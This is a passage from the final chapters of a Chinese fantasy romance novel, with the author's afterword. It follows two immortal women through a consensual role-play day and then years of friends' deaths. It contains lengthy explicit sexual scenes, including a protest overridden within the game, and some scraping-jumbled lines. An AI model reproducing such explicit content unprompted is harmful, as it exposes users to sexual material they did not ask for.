“啊!” 穆若水捂着自己刚被舔过的耳朵跳了开去,举着锅铲面向傅清微,脸红耳赤:“师尊……你!” 傅清微无辜摊手:“你太可口了,为师没忍住。” 穆若水把两只耳朵都捂住了,仿佛不堪入耳。 傅清微调戏够了,担心弄巧成拙,走过来顺手捏了她一把,离开了厨房。 “饭好了记得叫为师。” 傅清微在庭院的藤椅里平躺下来,今天放假,她有的是时间。 摸了摸手下的藤椅,这地方似乎不错,她还没试过露天呢,不知道穆若水愿不愿意。 嘶,会不会尺度太大了? 可小雪那么听她的话,未必不会答应。 在此之前,她要先捡回一点师尊的颜面,免得穆若水害怕她。 穆若水坐她对面小口吃粥,好奇地抬眼观察她的新晋道侣。 "师尊,你好像变年轻了,看起来比我还小。" “是,为师得了一些机缘。你不喜欢长得嫩的吗?” “不是的。”穆若水解释说,“我以前一直想看看你年轻时候的样子,等我长大,你已经是成熟的年纪了,所以能看到你现在的模样,我很开心。” 傅清微缓慢地咽了一口粥,被她讲得有些感动。 小雪比她心里想的最好还要好。 没有白养她这么大。 穆若水:“师尊,我能不能亲你一下?” 傅清微:“可以啊。” 她擦了嘴,用清水漱了口,穆若水走到她身边,俯身在她脸颊轻轻软软地印了一下。 傅清微:“就这?” 穆若水咬了咬唇,提心吊胆地后退。 傅清微皱眉:“你怕我做什么?” “我怕师尊生气。” “为师现在是你的道侣,你可以对我为所欲为。” 她敢说,穆若水也不敢做,退回了对面的位置。 傅清微:“…” 搞不好今晚还可以强制play咧。 傅清微用完了早餐,去林子里散步,捎上她胆小的徒儿一起。两人的衣袖被风拂到一起,穆若水悄悄地握住自己的袖子在手里,被傅清微看到。 刺激啊。“… 心如鼓擂。 “你做什么?” “没。”穆若水连忙松手。 “你是不是不爱我了?” 穆若水轻轻地别过了头。 这要她怎么好意思说出口? 傅清微来到她的正前方,让她避无可避,道:“你抱着我的衣服上自己的时候怎么敢的?现在连爱我都不敢?” 穆若水:“…”她肉眼可见地涨红了耳朵。师尊怎么会知道?!傅清微:“我不管,不准躲我。”穆若水点了点头。“牵着为师,十指相扣。”穆若水言听计从。 傅清微心满意足了。 两人在山里散步溜达了一圈,在树下睡了个午觉,穆若水枕在她的肩膀,在沉睡的女人脸上偷香。 睡着了她才敢如此肆无忌惮。 从脸颊离开后,穆若水的视线往下落在了女人的红唇,微微开闭。 既然是道侣的话,是不是…… 穆若水轻轻咽了咽口水,墨发铺在膝边,仰头从低处慢慢地靠近女人薄润的唇。 双唇柔软地贴合。 穆若水没敢再进一步,抿了抿自己的唇,口干舌燥地往回退。她摸着自己的心跳,左顾右盼,就是不敢看被偷香的女人。哦,忘了心不会跳,可血液会继续奔涌,到她雪白泛粉的双颊。傅清微靠在树干,眼睫垂敛安睡,眉梢浅浅地扬起。山风轻柔拂过二人的长发,纠纠缠缠地绕在一起。 “我去做午饭。” “别做了,一天就这么长,净做饭了。”傅清微拦住她,拇指在女人的手腕内侧摩挲,不放过任何一个占便宜的机会。 穆若水那块皮肤被她抚得发烫发热,又不敢抽回来。 “…” “宝贝,你好香。”时不时还要埋进她颈窝里,深深地嗅闻一口,拉开衣领吻她肩头。 “师尊,你好怪。”她好像师尊喵掌中的猫薄荷,被吸了又吸。 “习惯就好,你喜欢为师这样。”傅清微的手落在女人青袍下纤细的腰肢,含着她的耳朵吐字道,“不喜欢你抖什么?” 树缝里正午的天光明晃晃,刺人眼睛。 穆若水一边肩头圆润雪白,神思恍惚道:“师尊,现在还是中午。”“无妨。”“我们还在外面。” “无妨。” “我有。”穆若水拉好肩膀的衣物,温声道,“我不喜欢在外面。”“也不知道谁想在藤椅给我舔。”傅清微嘟囔道。“师尊,你说什么?”“没什么,不喜欢在外面,那喜欢在白天咯?”“我没有那个意思。”穆若水小声扭捏道。傅清微看了看天色,从正午开始也太堕落了,虽然她有点想,但还是掩饰一下心思比较好。 小雪很清纯的。 越清纯傅清微越想把这张白纸涂满颜色,用尽各种姿势。 “小雪。”傅清微冲她粲然一笑。 “怎么了师尊?” “你刚刚是不是偷亲我了?” “啊?我、我.……” “紧张什么,我让你再试一次。” "我不敢" “为师命令你,亲我。” 穆若水犹豫再三,偏头朝她吻了过去,唇贴着唇,一动不动片刻,便打开离开。她刚撤离两公分,傅清微说:“别动。” 穆若水静止。 傅清微就这样命令她:“张嘴,把舌尖伸出来。”穆若水静止了更长的时间,张开檀口,露出一截粉嫩的舌尖。傅清微将她们的距离缩短为0,张唇含住了女人的舌尖,裹住轻轻地吮吸。 穆若水开始喘。 她脑子发热,只有触觉为面前的人主宰。柔软、湿滑,与她亲密无间的纠缠。 就像梦里一样。 傅清微搂着她的腰,将她带入怀里吻她,编织的情网密不透风。穆若水从轻喘变成低吟,求饶道:“师尊……我……喘不过气了……”傅清微咂弄她的舌尖辗转,抽空回道:“无妨,你可以不呼吸。” 红唇厮磨,软舌相缠,穆若水生涩地回应着她,正血液升温,傅清微退出她口中。 穆若水愣在那里。 傅清微等了半天:“你傻啊,不能主动吻我?” 穆若水犹犹豫豫:“我……” 傅清微:“不亲我走了?” 穆若水把她作势要走的身子捞了回来,堵住了女人芳软的唇。 师尊也好香,想…… 傅清微哼哼唧唧了片刻,将人推开。 “好了,就到这。” 再亲下去激发她当1的天赋了,自己今天绝不会躺,哪怕一次。 回道观逗了会儿猫,下午两点了,傅清微把穆若水按在藤椅里深入亲了一会儿,一手绕过膝弯,将女人打横抱回了房间。 抬脚关上了门。 穆若水白细指节抓着她的衣襟,惊慌道:“师、师尊?”“莫慌,为师帮你找回记忆。”“什么记忆?” “自然是你我共度良宵的记忆。” “你不想?”傅清微坐在床沿,让穆若水斜坐在自己大腿上,一手搂腰,另一只手背轻佻抚摸她的脸。“我……不会。”穆若水沉默。就她在话本里看的那两招,也就睡睡自己了。“为师教你。” 傅清微心想:再说了,你只要躺着,需要会个什么?叫就行了。 “外面好亮。”穆若水被她放下来平躺,看着窗户外的光,正是艳阳高照时,岂不是白日宣那什么。 “我想好好看清你。” “师尊……”穆若水仍然紧张局促。 傅清微的手指抽开了她青袍的腰带,朝她抱了上来。 穆若水体温冰冷,傅清微衣衫整齐,从她身上汲取不了多少热意。 唯一的热源是她的手掌。 穆若水被她来回捂着,身子渐渐有了暖意。 两股返魂香的气息交织,傅清微吻着她的颈项和耳朵,穆若水望着帐顶,道:“师尊,我好像梦到过这一幕。” “什么时候?”“从沪城回来,二+—岁那年。”“梦见我这样对你吗?”“嗯。”“之后你就抱着我的衣服,自我安慰?”“师尊~”“我的小雪也会害羞啊。”“你不要再提这件事了。” “好。”傅清微依她,“不如你来试试,是梦里的我好一点,还是现实的我更好?” “自然是现实的你。” “你还没试呢。” “梦只是梦,一枕虚幻怎比得上师尊真实的怀抱?” “那你还…”" “只有在梦里,师尊才会回应我,不是吗?” 傅清微的动作停了下来,心里打翻了五味瓶。 抛开穆若水和姬湛雪融合不提,是她亏欠姬湛雪良多。 穆若水摸上她的脸,柔声道:“我说这些并非想让师尊愧疚,只是让自己释怀,都过去了。现在我们终于成了道侣,不是吗?” 傅清微想到一些事,霎时更心疼了。 "师尊,我要你吻我。" “好。”傅清微摒除当下的杂念来吻她,穆若水双臂环着她的后颈承受,不住地将她往下带。 "师尊……我想……" “不要急,夜……白天还很长。” 傅清微仍然没有脱衣服,和穆若水二十一岁的梦不谋而合。 傅清微像品尝牛奶布丁一样细致地品尝年轻的道侣,温热的手施展魔法,令她的血液流速加快。 穆若水被她把玩到肆意横流。 傅清微松开了唇边的点心,探出两根手指来到女人的两片翕动薄唇。 傅清微惊讶地发现她早已准备好,晶莹唇瓣微抿,贴了贴她的指腹,清浅地呼吸。 傅清微修长的手指在她唇缝间滑动,她每唤一声“小雪”,穆若水就会浅浅咬一下她的手指。 因为傅清微只在外面,所以她又不能真的咬到她,愈发水意渐渐了。 穆若水别开了头,耳廓淡粉:"师尊……" 傅清微:“乖,不要急。” “我……感觉好奇怪。”穆若水茫然地体会着陌生的感受。 “不奇怪的。” 傅清微第一次这么快地找到她露出来的唇珠,指腹摸上去打转。 穆若水咬了咬唇,溢出的声音有些颤:“师尊。” “别怕。” 傅清微亲了亲她的脸,指尖不停,一眨一眨地注视着她的表情。 心口起伏,眼神迷离,粉意不是慢慢染上,而是瞬间地铺满脸颈耳朵,红霞满面,她惊叫的声音。 “好美。” 傅清微吻着她颤抖的唇,一遍一遍用手掌贴合、缓解、延长。 待她休息片刻后,指节进一步挤入她湿软的唇缝之间,温热地包围。 穆若水小小地张着口,傅清微不舍得错过她众多可爱的表情,一直望着她的脸。 穆若水把嘴巴闭上了,不好意思地笑了一下。 “没关系,很可爱。” 傅清微一边吻她,一边转动自己的指节,大拇指抚着她的唇瓣,时而碾过唇珠。 整个过程都温柔无比。 穆若水脸仍然红扑扑的,从头承受到尾,最后长长的情不自禁的高声作为对傅清微的最高嘉奖。 傅清微抱着她在自己怀里颤抖不已的身体,吻她的鬓角。 穆若水回抱住她,脸依偎在她衣衫整齐的胸前,低声说:“师尊,我好高兴。” 傅清微衣襟被陌生汹涌的泪意打湿。 她伸手摸到对方冰凉潮湿的脸。 “小雪,你怎么哭了?” 作者有话说口显示所有文的作话 早餐相安无事。 “.….“嘘。” “是。”“小雪。” 172、五颗糖果… “小雪,你怎么哭了?” 穆若水在她干净的衣服肩膀擦了擦自己脸上的泪,说:“没什么,太舒服了。” 傅清微:“……. 就当她信了吧。 傅清微把她的脸扳过来,看她红红的眼圈,湿润的睫毛,楚楚动人。 “为师要是现在欺负你,会不会显得衣冠禽兽?” “师尊想对我做什么都可以。” 傅清微吻上了她的眼睛,舌尖压在她泪腺发达的出口,卷去她残留的咸湿泪水。 她又体会到师尊为什么喜欢吃她的眼泪。 即使没有天然的吸引,这件事本身就满足了爱人之间巨大的占有欲。 喜怒哀乐,通通与她有关,她连眼泪都要霸占,不允许它掉落地面。 师尊太会了。 她学得还不够全面。 趁着这次机会,她要突飞猛进,青出于蓝。 "师尊……" 穆若水在她下方闭着眼,任由她舌尖游走,最终分开了她的唇缝和她接吻。 傅清微五指垫在她一侧后颈,单手托着她的脸颊软舌进得非常深。穆若水经验浅薄,仰起雪颈,被她吻到头皮发麻,手无力地垂落。 傅清微恨不得欺负死她。 她连左手的动作都没变过,衣襟楚楚,保持着接吻的姿势,右手再次摸到瑟瑟发抖的唇瓣。 穆若水张开唇,轻喘:“师尊。” 傅清微趁机将湿润的指节推了进去,没有遇到任何阻碍,舒服得叹道:“好乖啊小雪。” 穆若水两颗漆黑的瞳仁似泡在清泉里,又有了水意。 傅清微晃一下,她也荡一下。 傅清微喜欢她的眼睛,吻了又吻,突然加快了动作。 她眼里的那汪春水便撞碎了,漾出细碎迷乱的光,出口在她张开的嘴巴里。 一节一节的声音脆生生长出来,傅清微听得都要迷失了。 她面前不知何时换成穆若水的后背,雪白的脊背如同一片雪山里的深湖,贴上去冰凉。 “好冷。”傅清微的唇感受着她的体温。 “师尊给我暖暖…就不冷了。”穆若水的回答断断续续,似乎在忍耐着更过分的事。 “好。” 傅清微将她扶起来,俯身贴上去,紧紧拥抱着她,吻她的耳朵。 “宝贝,这样好点吗?” 她的衣袍宽大,袖子从穆若水身侧垂落,遮盖了大半,也挡住了窗户涌进的风。 “嗯……” 穆若水的膝盖跪在床上,腰被女人搂着,双唇也被手指肆意地戏弄。 女人的吻不住落下来。 夸她乖,又说她很棒,穆若水也迷失在师尊的耳语和醉人的轻喘里。 久久流连忘返。 直到满得无法再承受半点。 她听见自己在哭。 也感受到傅清微更兴奋了。 师尊坏。 傅清微及时兜住道侣轰然倒下来的身子,穆若水伏在她身上,眼泪全被贪婪的女人卷去。穆若水楚楚可怜地包着泪,傅清微将两根手指塞进她嘴里,诱哄道:“帮为师舔干净,好吗?” 穆若水:“……” 她动作生疏地从指根开始舔,笨拙且认真。 傅清微深吸一口气。 原来师尊是这种感觉! 根本就不是什么天选之1的事!哪个女人不喜欢被舔手指! 完了有点想当0了。 这才下午三点多,离午夜子时还有八个小时。 她要坚持住! 穆若水吐出她晶莹亮泽的食中二指,询问道:“师尊,我可以歇会儿吗?” “可以。” 傅清微:“陪为师睡会儿吧。” 穆若水抬手搭上她的肩膀,指尖滑到她的领口,小声说:“我们不是道侣吗?为什么师尊穿这么多衣服?”傅清微三下五除二褪了衣袍丢在床尾,被子一拉盖住二人。 “睡吧。午安。” “午……安。”穆若水目光往下瞟,盯着她的红痣。 “怎么不睡觉?” “睡了。”穆若水不动声色地往下挪了挪,脸颊枕在女人胸口的位置。傅清微在自己的神念里定了个一小时后醒来的闹钟,山里的天光终于没那么刺眼,薄薄的暖光透过窗棂漏在地面。有人说黄昏时醒来的孤独感尤甚,可若是身边有人,便会化作无与伦比的幸福。 怀里拥着温香暖玉,正在她的颈边清浅地吐息。可穆若水若是睡着了,是不会呼吸的。傅清微用红绸带绑了长发,教了徒儿点新知识。穆若水被她抱在手中,几乎要叠进她的身体里,傅清微埋首疯狂亲吻着她淋漓的双唇。 舌尖搅弄的水声,吞咽声,逼得穆若水在她掌中扭动,几乎要疯掉。 ……好过分。 穆若水昏沉了许久,傅清微捏住她的下巴转过来,暖热舌尖抵入她口中,穆若水被迫与她再度深入纠缠。 "师尊……唔.……我不要……."傅清微虎口卡紧她的下巴,温柔道:“你要的。”穆若水数次咽了下去自己的。傅清微拇指拭去她眼角的泪珠,说:“怎么又哭了?再哭为师不做人了。”穆若水:“…….背过身去。傅清微环着她安慰了一会儿,顺手从背后又去摸她被蹂躏得可怜的湿软唇瓣。穆若水还没反应过来,便被突袭了两下,慌忙咬住了她的手指。 傅清微咬她耳廓:“小雪好乖,再咬一口好不好?” “…” 穆若水不咬,她也不动,抵在她的唇缝之间。 傅清微亲了亲她的脸,吻移到她的耳后,将肌肤吮成红色,含弄女人的耳垂。 穆若水难耐地仰了仰颈,不受控制地启唇咬她细腻的指节。 傅清微在她耳边情不自禁地喘了一声。 “继续。” 傅清微伏在她耳际表白:“好喜欢你。” 穆若水听着她的声音,闭上眼,脸颊一片红粉,慢慢地遂了她的意。 张唇咬住手指,又吐出来,循环往复。 直到她失去力气,整个人细细地颤抖,傅清微才搂紧了她,自己边吻她边动手。 温柔又过分。 傍晚六点。 穆若水双唇靡靡红艳,水痕遍布,几乎就没有空闲的时候。 傅清微爱不释手,不时用舌去舔舔,愈发红润水分饱满。 穆若水浑浑噩噩:“我去做晚饭。” 傅清微的声音从远些的地方传来,道:“你去吧。” 穆若水试着起了一下身,被她按着,说:“师尊,我起不来。” “你起得来我就让你去。”傅清微低头啾的一口亲了上去,正中红心。 "师尊啊——" “怎么唱上了?”傅清微忍俊不禁,偏要把她的断句连到一起。 穆若水把嘴巴闭上了,人也在她手掌挣扎,不让她作弄她了。傅清微连忙道歉认错:“唱得好听,为师就爱听唱的。” “你讨厌。” 傅清微握着她柔若无骨的手,心都酥了。 “是,我讨厌。” 绝对不能只见一次小雪,让她付出什么都愿意! 穆若水趁机道:“我要做晚饭。” 傅清微放开她:“为师陪你去。” 穆若水又不是那么想做饭了,谁知道会不会在厨房被当成菜炒啊。 好在傅清微暂时没想过。 不过穆若水一进厨房,傅清微想到做饭吃饭白白耗去两个小时,立刻不要脸地反悔,抱起穆若水闪现到了后山温泉。 穆若水的衣物全程存活了不到五分钟。 两人并肩下了水。 穆若水在池边犹豫,傅清微回来牵她,到最深的水中便抱着她走,走一会儿停一会儿。 只有她们自己知道水下发生了什么。 温泉的热气蒸得两人脸颊发红,她们吻在一起又分开。 水底下却一直未分开地相依相偎,极尽缠绵。 穆若水坐在池壁底下的石椅里,傅清微潜入水中挑战吉尼斯世界纪录。 穆若水捏着她滚烫的耳朵,五指慢慢穿进乌黑的发丝,往自己的方向带,抿紧了薄唇。 断断续续地吐气。 傅清微挂满水珠的脸从水面钻出来,长长的湿发黏在颈项里,粲然地笑开,眼中都是星辰的倒影。 穆若水看得出神,视线再一次落在她的红痣,舔了舔唇。 傅清微看穿她的意图,坐到她身上道:“准你动口。” 穆若水言听计从,说动口绝不动手,袖手后背,朝傅清微吻了上去。 傅清微挺了挺身迎接。 穆若水刚亲了两口她就受不了了,说:“停!” 穆若水茫然。 傅清微:“你不是不会吗?”穆若水:“师尊,是你反应太大了。” 她动了动腿,傅清微果然不自在地站了起来,说:“那下次再轮到你。” “好。” 晚上九点。 离子时三个小时。 傅清微把穆若水哄到了庭院的藤椅上,刚好今夜晴,天时地利人和。穆若水都没试过的地方,倒是让傅清微先发制人了。穆若水仰面躺着,漆黑的眼瞳失焦,满天星子在她的眼波里晃动。 傅清微覆上来,说:“小雪?” “嗯?”“你还在吗?”“我还在。”傅清微松了一口气。她怕自己胡作非为,把小雪给弄没了。晚上十点。卧室里新置办的沙发。傅清微亲身试了好几次,知道怎么样方便使用。两个人都很快乐,当然,傅清微更快乐。+一点五十。离子时只有十分钟。穆若水跪立在床上,傅清微整个人拥着她,手臂圈在她腰肢,和她面对面接吻。之后傅清微躺了下去。穆若水仍然跪着。傅清微点了点自己的唇瓣,似曾相识道:“喂我。”“…”穆若水自动省略了第一步,抬起身子向傅清微膝行过去。她湿热的唇主动压上了女人的唇。只剩十分钟,缠绵热吻不断,水声回荡。傅清微紧紧抱着她,抓紧最后的时间,卖力地接吻,直到满脸都是。23:59:59 叮铃铃闹钟响了。 刚刚倒下来的穆若水立刻握住了傅清微的手腕翻身,一句话没有说,先不客气地回敬了一番! 傅清微像一只清脆的黄鹂啼鸣悦耳。 穆若水收手后,她在对方怀里气喘吁吁,意犹未尽。 穆若水方恨恨补上结束语:“十二点了,游戏结束。” 傅清微笑道:“好的老婆。” 她想要小雪,说起来也只是道侣间的情趣,怎么可能会因此去封穆若水的记忆?虽说在穆若水自愿的情况下风险很小,可万-呢?出了意外她的大穆没有了,她哭都哭不出来。 所以二人讨论了一晚上,决定还是让穆若水演戏,假装她是失忆的姬湛雪,俗称角色扮演。 这一天,她当小雪,让傅清微为所欲为,不得反抗,且要尽量贴合人设。 难度拔高几个量级。 当然,傅清微为此又签订了新的不平等条约,不提也罢。 但一切都是值得的! 十星好评,下次还来。 傅清微刚尝过一次,已经迫不及待地展望下一次游戏了。 即使五百次,一千次,坐得腰都扭断,她也愿意。 她被穆若水捞进怀里,迎接新的一轮狂风骤雨,意识迷离地想: 不过穆若水今天的表现,究竟是演技高超,还是真情流露,她却是一个字不敢问的。 问了,小雪就真的再也没有啦。 173、六颗糖果… 明天傅清微还放假。 这也在她们的计划之中。 所以傅清微被翻来覆去地尽情折腾了一晚上。 半夜穆若水抱她去藤椅上看星星,傅清微在她怀里身体晃动,从月明星朗看到晨曦将现。 穆若水蹲在她的面前,两手将她叠了叠,凑近了低下来吻她,骤雨疾风。 傅清微心想:唉。 好爽。 她就知道师尊不会放过她的。 她小猫咪还承受得住! 清早,院子里的猫都醒了,傅清微身上盖着女人的外衫,两条长腿曲起来踩在藤椅里。 穆若水的脸在她的正上方,右手二指抵进她的红唇间来回活动,拇指按着她的唇珠,不时将整只手掌捂在她滴水的唇上。 傅清微别开头,沙哑的喉咙里艰难地出一声:“唔。” 穆若水顺势亲了亲她的脸,话也不说。 "师尊。" “嗯?” “我想吃早餐,你可以给我做吗?” “你还没吃饱吗?” “嘤嘤嘤。” 穆若水终于笑了。 小三花一个矫健地跳跃,先踩在穆若水后背,再跳到傅清微肩膀,顺着二人亲密接触的靡靡气息来到了傅清微的脚边。 她毛茸茸的脑袋路过傅清微的脚踝,来回嗅着女人柔软细腻的手背,一片滑腻。 “不能舔。”穆若水拎起小三花的后脖颈,将它放到了地面。 傅清微紧张地问:“它舔了吗?” 穆若水一本正经:“舔了。” 傅清微伸手推她。 “你快点。” “快点还是赶我快点走?” 傅清微没回答,只是用力地咬紧了她探入唇缝的指节,主动进一步含进唇里。穆若水眉头皱紧,忍耐地嗯了一声,差点儿倒伏在她身上。 穆若水果然如她所愿的快起来。 道观外林子里的鸟兽好不容易清晨眯了会儿,又被尖声突兀地吵醒,有只麻雀从树枝栽下来,离地一尺扑腾打开翅膀,惊险地掠过道观宫墙。 穆若水连人带衣服将傅清微抱起来,让她考拉似的挂在自己身上。 傅清微不上不下地被她作弄。 女人故意走得不稳当,傅清微随着她的动作颠颠晃晃,身体里蓄满的水止不住往外溢。穆若水关上房门和窗。傅清微被放在了书桌上。 傅清微真的怕了:“师尊……”" “嗯?”“我有点困了。”“无妨,你睡吧,不耽误我。”“你这样我睡不着。”“那你就清醒着感受我。” “……. “这样吧,我给你两个选择。”穆若水双手扶着她的侧腰,看着她的眼睛说。 傅清微眼前一亮。 “你想先给我敷面膜还是做手膜,还是一起呢?” 不等傅清微回答,穆若水自问自答道:“一起吧,为师还没试过。” “师尊饶了我。” “我、偏、不。”穆若水勾唇笑道。 “会死人的。” “你是神仙。” 蓬莱观外的鸟雀眼珠子睁了一整个白天,连补觉的机会都没有,黑眼圈都快熬出来了。 傍晚时分。 穆若水神清气爽地打开屋门,给屋檐下的小猫开了俩罐头,饶有兴致地看着它俩吃完,收拾盘子。 穆若水从厨房出来后走进隔壁,是傅清微从前住的小房间,现在挪给龙璇玑偶尔留宿。龙璇玑在灵管局历练,不常来蓬莱,屋子空置。 穆若水想到个新的点子。 下次当小雪,她可要换个玩法了。 以下犯上的本子就很不错,她要演整套。 * 事实证明,神仙不会死,但神仙也会累。 神仙的那里也是血肉之躯,傅清微一天一夜没消停多久,她坐在城隍衙门上班,官服下的膝盖紧紧并着。深处似乎仍在隐隐跳动。仿佛惩罚仍在继续。 始作俑者正在抱着平板看科幻动画片,这么可爱的师尊怎么会做出如此禽兽不如的事。 还是自己身体缺乏锻炼。 师尊有什么错呢? 傅清微捧着脸,转向侧面的桌子悄悄看向她。 穆若水第一时间抬头:“怎么了?” 傅清微被她一眼哄得心花怒放。 “没什么,突然好爱你。”傅清微歪头,双臂在头顶比了个大大的爱心。 “晚上还要吗?” “不要了。”傅清微苦着脸。 穆若水笑起来。 “我去给你做点东西吃,补充体力。” “那今晚?” “休息。” 穆若水的背影迈向后殿,忽然转身两手朝傅清微比了个小爱心。 她比完就消失了,跑得比兔子还快。 傅清微:“嘿嘿。”文判官:“大人。”傅清微吓一跳回头:“你什么时候来的?!”文判官:“.…不好说。”傅清微摆手:“行了你不用说了,找本府何事?”只要她不尴尬,尴尬的就是对方。果然文判官全程顶着张红脸和她汇报,傅清微记下来待会跟穆若水分享。生活就这么大体不变,而津津有味地继续下去。 二人的足迹在休假时踏遍了名山大川,穆若水变得喜欢拍照,还自学了摄影,拍了很多猫片,当然也有人。 傅清微大吃飞醋,穆若水有时是故意惹她,傅清微顺杆爬,最后床上打架,水花四溅,谁的都有。 身为城隍,地府会下来一些灵管局的熟人。 傅清微记得第一个是邱月白,享年九十三岁,傅穆二人从忘川回来,傅清微说:“邱老年轻时还是个大美人呢,白皮肤大眼睛的。” 穆若水说是。 傅清微坐在公案前,久久未提笔,叹了口气。穆若水走过去,她把脸埋进女人怀里。穆若水摸了摸她的脑袋。 生离死别,是人族必经之事。 傅清微已然长生,可其他人都是要结束这一世的。 邱月白拒绝了傅清微留在城隍衙门的提议,选择转世投胎,这是大部分人类的选择。 她曾经的同事也纷纷到达大限,一起入职的年轻人:肖灵秀、公羊荪、谷传音、扶鸾……一个一个地逝去。 傅清微和岁已寒只差了十几岁,岁已寒活了一百多岁,比占英更晚下来。 占英沾了城隍娘娘的光,在地府等到了岁已寒,两个人一起去投胎了。 灵管局新人换旧人,挂名顾问的穆若水在局内愈发神秘,而傅清微的名字则随着故人的离世,被遗忘在灵管局的历史里,只有某届新人名单档案封存。 甘棠四十五岁那年,穆若水解开了她杜昔言有关的记忆封印。 甘棠长叹了一口气,果然没有哭。 七十一岁,甘棠送完妈爸,进了一家女性高端疗养院,周围都是姐姐妹妹,好不快乐。 她这一生,年轻时感情多舛,然而家庭和睦,朋友众多,最好的朋友每周都来探望她。 “甘妹妹,你孙女和孙媳妇来看你了。” 甘棠坐在电动轮椅里开得飞快,在走廊就见到并肩走过来的傅、穆二人。 傅清微:“小心车速!” 头发花白的甘棠:“请注意倒车!请注意倒车!” 傅清微:“悠着点吧,奶奶。” 甘棠开着轮椅转了个圈,说:“再过几年你就是我曾孙女。” 傅清微:“无妨。我让你占我便宜。” 甘棠从轮椅里站起来,傅清微扶住她胳膊,穆若水推着轮椅,三人一起往外面的草坪走。 甘棠坐在长椅里,捞着傅清微乌黑的发丝,说:“真气人呀,还这么年轻。” 傅清微:“你死了你也年轻。” 甘棠:“老天让我长寿,我可要好好享受人生,下午陪我打会麻将,三缺一。孙女媳,会打麻将了吗?” 穆若水应声:“会一点。” 甘棠对傅清微竖大拇指:“厉害了。”瞧瞧都把师尊调教成什么样子啦。 二十七年后。 “甘姐姐,你曾孙女和曾孙媳妇来看你了。” 病房门打开,傅、穆二人并肩走了进来,甘棠躺在病床上,眼皮吃力地睁开一线,干瘪的面容露出和年轻时一模一样的笑容。 “有劳城隍娘娘亲自来接引我,我可真有面子。” “忘了谁也不能忘了你啊。” 傅清微望着病床中间已经闭上眼睛的老人,红了眼眶。 年轻的甘棠在她身边道:“别煽情啦,走吧,杜昔言在哪?” 傅清微:“在底下等你呢,差点跟我一起来了。” 要不是不合规定,她真来。 其实傅清微带她也行,但是杜昔言一板一眼的,她不是勾魂使,不能出现在人间。 甘棠:“幸好她没来,不然我这样多丑。” 她嘴巴努了努病床的方向。 傅清微:“嗯,见我就不怕丑。” 甘棠火烧眉毛:“快着点吧姐们。” 傅清微冲穆若水吐槽:“活着的时候不紧不慢,死了知道着急了。” 穆若水笑着不接话。 她一只手拉住甘棠,甘棠眼睛一闭一睁,整个人出现在城隍衙门门口。 一道女子身影在大门前焦急地踱来踱去,望眼欲穿。 “阿絮!” “杜昔言——” 甘棠朝着那道飞奔过来的身影跑了过去。 傅清微牵着穆若水消失在二人之间。 最后半件心事也算了了。 两人坐在衙门的红瓦房顶上,看着底下二人握着彼此的手互诉衷情。 傅清微:“唉。” 穆若水伸手覆在她手背:“怎么了?” 傅清微说:“也不知道她们能留在地府多久,之后肯定会去投胎的。” 穆若水故意道:“有我一个还不够吗?” 傅清微笑了笑。“娘亲。” “自然是够的,我很知足。” 日升月落,桑田沧海。 她长久不灭的生命里,注定所有人都是过客,唯有穆若水是她的永恒。 与她永远在一起,岁岁长相守,这就是她一生所求。 哪怕失去所有,有她相伴足矣。 穆若水也是一样。 傅清微伸长了腿,双手撑在屋脊,在空中轻轻踢着。 “晚上让璇玑到家吃个饭呗?” “好啊,我下厨。”穆若水说。 人族寿命短暂,妖族却延年益寿,修为直接与寿数挂钩,龙璇玑修行刻苦,为了能陪两位娘亲长生,愈发勤勉,妙手回春,已然在玄门有不小的名气了。 她离开了灵管局,挂了顾问的名,云游四海,刚回鹤市。 一门三顾问。傅清微给龙璇玑打了个电话,挂断后说:“以后就剩我们娘仁了。”穆若水:“多好啊。”傅清微笑:“是,我好幸福。”穆若水:“想来好久不见璇玑了,不知道她此行怎么样?”傅清微:“嗯,待会我就跟她说,你想她了。”“对,你不想,光我想了。前段时间不知道谁打电话打一个小时。”“你不是也戴着耳机听吗?”“我那是忘记摘。”“行行行。”傅清微不和她争,到时候她们娘俩合起来对付她。毕竟当年种在院子里,和龙璇玑朝夕相伴,从未离开过一步的,可是棺材里的穆若水。她俩倒是越长越像了。 下了班两个人到了地面,正商量去超市买菜,刚出城隍庙的门,大树下站着一道藏青道袍的身影,没戴混元巾,用簪子束了道髻,罩在道袍外的披纱轻扬,长身玉立。 咔嚓— 花瓣比人先到傅清微的面前,龙璇玑快跑了几步,沉稳地迈步过来。表面沉稳,实际上桃花瓣已经快把傅清微淹了。周围路人惊讶地抬头,看着方圆数十米忽然下起来的桃花雨,不知所起,却漫天都是。众人纷纷掏出手机拍照。纷飞的花雨中,三人并肩前往附近的超市,有说有笑。龙璇玑道:“我也学会做饭了,今晚我要大显身手,至少让我做两个菜。” 穆若水说:“可以啊,我看看你的手艺。” 两人就厨艺展开讨论,具体到做法、步骤,独门调味,头头是道。 傅清微跃跃欲试加入:“正好我也看了几道菜谱。” 两人转过来,异口同声:“闭嘴。” 路人的手机镜头不经意转过来,刚好将隐入桃花深处的三道身影定格在画面里。 惟愿岁岁年年,都如今日今朝。 ——全文完—— 作者有话说 ?显示所有文的作话 第173章六颗糖果 感谢小天使们的83个霸王票、5788瓶营养液~ 全文完结啦!祝我的女儿们长长久久! 太长不看版:小纸人do的番外(一定有)和三人行番外(等通知)放在全订的福利番外。 下本开《密友》,也许在暑假,请进专栏收藏— 谢谢你们,爱大家[玫瑰] 以下是完结感言: 作为一个老作者,每次开文都是过程中百感交集,想了很多话,到完结的时候一片平静,懒得写感言。趁我还没有彻底平静之前,我要为《犯上》写点感言,因为她对我太特殊,不管从创作难度来讲,还是时间跨度来说。这篇文的文案是2019年开的,甚至比《放肆》更早,当然她的创作过程也很曲折,不停地被插队,加上我的灵感不足,一度我决定放弃这篇预收,不想再写。 五年以后,因为很多读者仍然在惦记她,所以我决定开《犯上》,至少把它写完再去开别的脑洞,不负大家漫长的等待,也圆我自己一直以来想写灵异文的梦。 但此时一切设想与我本来写了几千上万字的设定和情节(几年间陆续修改补充的)已经完全不同了哈哈。 我现在翻我从前的备忘录,穆若水是一个风情妖娆三十岁的道士,小时候救了四五岁的傅清微,就是依布村巨物蜘蛛那一幕,但是主角是调换的。十年后她们重逢,大穆收了小傅为徒,师徒恋日久生情地展开了。 